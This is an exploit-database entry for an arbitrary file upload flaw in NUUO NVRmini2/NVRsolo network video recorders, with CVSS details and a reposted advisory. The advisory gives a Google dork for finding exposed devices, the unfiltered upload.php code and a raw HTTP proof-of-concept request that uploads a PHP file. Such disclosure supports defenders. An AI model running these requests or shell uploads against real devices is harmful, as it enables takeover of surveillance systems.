Exploitalert - Database of Exploits

NUUO NVRmini2 / NVRsolo Arbitrary File Upload

CVE	Category	Price	Severity
CVE-2018-11523	CWE-434	$5000	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2018-05-31

CPE
cpe:cpe:/a:nuuo:nvrmini2:1.0

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2018050320

NUUO NVRmini2 / NVRsolo Arbitrary File Upload

# Exploit Title: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability # Google Dork: intitle:NUUO Network Video Recorder Login # Date: 2018-05-20 # Exploit Author: M3@Pandas # Vendor Homepage: http://www.nuuo.com # Software Link: N/A # Version: all # Tested on: PHP Linux # CVE : CVE-2018-11523 ========================== Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability Author: M3@pandas From DBAppSecurity Affected Version: All ========================== Vulnerability Description ========================== Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over the world. Vulnerable cgi: /upload.php <?php //echo $_FILES['userfile']['type']; //echo ":"; //echo $_FILES['userfile']['size']; //echo ":"; //echo urldecode($_FILES['userfile']['name']); //echo ":"; //echo $_FILES['userfile']['tmp_name']; //echo ":"; //echo $_FILES['userfile']['error']; //echo ":"; echo $_FILES['userfile']['name']; copy($_FILES["userfile"]["tmp_name"],$_FILES['userfile']['name']); ?> As the code above, no any filter, so we can upload a php shell directly to the web server. ========================== POC EXP ========================== 1. Upload 'nuuonvr.php' to web root path: POST /upload.php HTTP/1.1 Host: 192.168.10.1 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: multipart/form-data; boundary=--------969849961 Content-Length: 162 ----------969849961 Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php" ?php phpinfo();@unlink(__FILE__);? ----------969849961-- 2. Check if the php file is uploaded successfully: GET http://192.168.10.1/nuuonvr.php If the page returns phpinfo info, target is vulnerable!

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